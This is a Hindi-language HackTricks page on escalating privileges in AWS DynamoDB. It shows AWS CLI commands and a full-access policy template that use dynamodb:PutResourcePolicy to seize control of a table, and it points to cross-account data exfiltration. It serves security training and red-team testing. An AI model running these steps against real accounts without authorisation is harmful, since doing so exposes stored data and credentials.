AWS - DynamoDB Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

dynamodb

dynamodb के बारे में अधिक जानकारी के लिए देखें:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy

मार्च 2024 से, AWS ने DynamoDB के लिए resource based policies पेश की हैं (AWS News)।

इसलिए, यदि आपके पास किसी table के लिए dynamodb:PutResourcePolicy है, तो आप स्वयं को या किसी अन्य principal को उस table का पूर्ण एक्सेस दे सकते हैं।

किसी भी random principal को dynamodb:PutResourcePolicy देना अक्सर दुर्घटना से होता है, जब admins समझते हैं कि dynamodb:Put* देने से principal केवल database में items डाल पाएगा — या जब उन्होंने वह permissionset March 2024 से पहले दे दिया हो…

आदर्श रूप में, आपके पास dynamodb:GetResourcePolicy भी होना चाहिए, ताकि आप अन्य संभावित रूप से महत्वपूर्ण permissions को overwrite न करें, बल्कि केवल आवश्यक अतिरिक्त permissions जोड़ें:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

यदि आप वर्तमान policy प्राप्त नहीं कर पा रहे हैं, तो बस यह वाला उपयोग करें जो आपके principal को table पर पूरा एक्सेस देता है:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

यदि आपको इसे कस्टमाइज़ करने की आवश्यकता है, तो यहाँ सभी संभावित DynamoDB actions की सूची है: AWS Documentation. और यहाँ उन सभी actions की सूची है जिन्हें resource based policy के माध्यम से अनुमति दी जा सकती है AND which of these can be used cross-account (think data exfiltration!): AWS Documentation

अब, policy document policy.json तैयार होने पर, resource policy डालें:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

अब आपके पास आवश्यक permissions होने चाहिए।

Post Exploitation

मेरी जानकारी के अनुसार केवल कुछ AWS dynamodb permissions होने की स्थिति में AWS में privileges escalate करने का कोई अन्य सीधा तरीका नहीं है। आप tables से संवेदनशील जानकारी पढ़ सकते हैं (जो AWS credentials रख सकती है) और tables पर जानकारी लिख सकते हैं (जो अन्य vulnerabilities को ट्रिगर कर सकती हैं, जैसे lambda code injections…) लेकिन ये सभी विकल्प पहले से ही DynamoDB Post Exploitation page में शामिल किए गए हैं:

AWS - DynamoDB Post Exploitation

TODO: data Streams का दुरुपयोग करके डेटा पढ़ना

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें